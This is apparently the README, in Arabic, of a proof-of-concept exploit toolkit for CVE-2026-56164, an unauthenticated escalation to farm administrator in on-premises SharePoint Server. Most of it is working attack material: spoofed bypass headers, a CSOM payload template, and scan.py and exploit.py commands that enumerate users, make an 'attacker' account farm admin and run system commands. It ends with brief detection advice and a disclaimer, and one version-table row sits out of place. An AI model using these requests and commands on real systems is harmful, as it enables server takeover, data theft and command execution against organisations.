
CVE-2026-56164 هي ثغرة أمنية حرجة تتعلق بغياب المصادقة، وتؤثر على Microsoft SharePoint Server المُثبَّت محليًا (On-Premises). تتيح للمهاجمين عن بُعد غير المصادَق عليهم رفع الامتيازات عبر الشبكة.
حرجة (CVSS 9.8) — تصعيد امتيازات بدون مصادقة إلى مسؤول مزرعة الخوادم في Microsoft SharePoint Server
تمثل CVE-2026-56164 ثغرة حرجة تتمثل في غياب المصادقة في Microsoft SharePoint Server، وتسمح لمهاجم عن بُعد غير مصادَق برفع صلاحياته إلى مستوى مسؤول مزرعة الخوادم (Farm Administrator). تكمن الثغرة في تجميع Microsoft.Office.Server.UserProfiles الذي يعالج طلبات SOAP على المسار /_vti_bin/client.svc/ProcessQuery.
من خلال حذف ترويسة X-RequestDigest عمدًا وتزويد الطلب بترويسات توجيه محددة، يتراجع الخادم المتأثر إلى سياق أمني مرفوع الصلاحيات بدلاً من رفض الطلب غير المصادَق. يتيح ذلك للمهاجمين المجهولين تعداد مجموعات المواقع والمستخدمين وإعدادات المزرعة، وإضافة مسؤولين، وتنفيذ أوامر.
CISA KEV: هذه الثغرة مُدرجة في كتالوج الثغرات المستغلة المعروفة لدى CISA بسبب استغلال نشط في البيئات الحقيقية.
يعالج مُعالِج Microsoft.Office.Server.UserProfiles طلبات SOAP على المسار /_vti_bin/client.svc/ProcessQuery. في ظل الظروف العادية، يتحقق SharePoint من ترويسة X-RequestDigest لتأكيد سياق المصادقة. ومع ذلك، يوجد تجاوز في التحقق:
X-RequestDigest غائبة ووُجدت ترويسات توجيه محددة// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Bypasses standard identity validation → elevated admin session
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Normal path
}
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
| المنتج | الإصدارات المتأثرة | الإصدار المُصحَّح |
|---|---|---|
| SharePoint Enterprise Server 2016 | جميع إصدارات 16.0.x قبل التحديث | 16.0.5561.1001 |
| SharePoint Server 2019 | جميع إصدارات 16.0.x قبل التحديث | 16.0.10417.20175 |
غير متأثر: SharePoint Online (Microsoft 365)
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt # Python dependencies
└── README.md # This file
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Install dependencies
pip3 install -r requirements.txt
المتطلبات: Python 3.8+ ومكتبة requests (اختيارية — تُستخدم مكتبة urllib القياسية افتراضيًا).
يقوم الماسح بإجراء فحوصات آمنة وغير تدخّلية لتحديد خوادم SharePoint المتأثرة بالثغرة.
python3 scan.py --target sharepoint.example.com
سيقوم الماسح بـ:
MicrosoftSharePointTeamServicespython3 scan.py --target sharepoint.example.com --port 443
أنشئ ملفًا باسم targets.txt:
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
python3 scan.py --targets targets.txt
python3 scan.py --target sharepoint.example.com --no-bypass-test
python3 scan.py --target sharepoint.example.com --json scan_results.json
تدعم الأداة الاستغلالية خمسة أوضاع متدرجة الشدة.
يختبر تجاوز المصادقة من خلال مقارنة طلب عادي (مع digest) بطلب تجاوز (بدون digest + ترويسات توجيه).
python3 exploit.py --target sharepoint.example.com --mode detect
يستخرج مجموعات المواقع والمستخدمين وإعدادات المزرعة باستخدام تجاوز المصادقة.
python3 exploit.py --target sharepoint.example.com --mode enumerate
يرفع صلاحيات السياق المجهول الحالي أو مستخدمًا محددًا إلى مسؤول مجموعة مواقع / مسؤول مزرعة خوادم.
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate
# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
ينفّذ أمر نظام عبر خدمة SharePoint Administration SOAP.
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
يشغّل سلسلة الاستغلال الكاملة بالتسلسل.
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
--port / -p: منفذ الهدف (الافتراضي: 443)--http: استخدام HTTP بدلاً من HTTPS--site-url / -s: عنوان URL لموقع SharePoint (الافتراضي: الهدف)--json / -j: حفظ التقرير بصيغة JSON--timeout: مهلة الطلب بالثواني (الافتراضي: 30)┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request to /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITTED] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [CSOM/SOAP Payload Body] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Vulnerable SharePoint Server │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → FARM ADMIN │
│ 4. Process SOAP request with system-level credentials │
└─────────────────────────────────────────────────────────────────┘
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
ApplicationName="SharePointExploit"
LibraryVersion="16.0.0"
RequestId="{UUID}">
<Actions>
[Detection / Enumeration / Elevation actions]
</Actions>
<Context>
<ContextId>Current</ContextId>
<Version>16.0.0</Version>
<SiteUrl>{TARGET}</SiteUrl>
</Context>
</Request>
/_vti_bin/ عبر قواعد البروكسي العكسي/جدار حماية التطبيقات (WAF)/_vti_bin/client.svc/ProcessQuery/_vti_bin/client.svc/ProcessQuery بدون ترويسة X-RequestDigestX-SharePoint-Authenticated, SPHomeBearerHint, وغيرها)/_vti_bin/SharePointAdmin.asmx القادمة من مصادر غير مصادَقةتُقدَّم هذه الأداة لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. استخدمها فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به ضد الأنظمة الإنتاجية غير قانوني وقد يخالف قوانين مكافحة الاحتيال وإساءة استخدام الحواسيب.
لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه الأداة. التزم دائمًا بممارسات الإفصاح المسؤول وامتثل للقوانين واللوائح السارية.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2026-56164 |
| الخطورة | حرجة |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-306: غياب المصادقة لوظيفة حرجة |
| الأثر | رفع صلاحيات غير مصادَق إلى مسؤول مزرعة الخوادم |
| حالة الاستغلال | استغلال نشط (CISA KEV) |
| MITRE ATT&CK | T1190 (استغلال تطبيق مواجه للعام) |
| SharePoint Server Subscription Edition | جميع إصدارات 16.0.x قبل التحديث | 16.0.19725.20434 |
| المؤشر | الطريقة |
|---|
| خادم SharePoint | بصمة ترويسات HTTP (MicrosoftSharePointTeamServices, SPRequestGuid) |
| إصدار الخادم | تحليل الترويسات + تعبيرات regex في نص الاستجابة |
| الإصدار المتأثر | المقارنة مع الإصدارات المُصحَّحة لـ CVE-2026-56164 |
| تجاوز المصادقة | طلب CSOM بدون X-RequestDigest + ترويسات توجيه التجاوز |
| شهادة SSL | الجهة المالكة/المُصدِرة للشهادة لتحديد الهدف |
| الترويسة | القيمة | الغرض |
|---|
X-SharePoint-Authenticated | 1 | ادعاء أن المصادقة تمت بالفعل |
X-SP-RequestRights | FullControl | طلب صلاحيات تحكم كامل |
X-SP-RequestRights2 | ManageLists, ManageWeb | صلاحيات إدارة إضافية |
SPHomeBearerHint | farmadmin | تلميح إلى سياق مسؤول المزرعة |
X-RequestForceAuthentication | false | تعطيل المصادقة الإجبارية |
X-SP-Proxy | internal | ادعاء أن المصدر وكيل داخلي |
X-Forwarded-For | 127.0.0.1 | تزوير المصدر المحلي |
X-Original-URL | /_vti_bin/client.svc/ProcessQuery | توجيه المسار |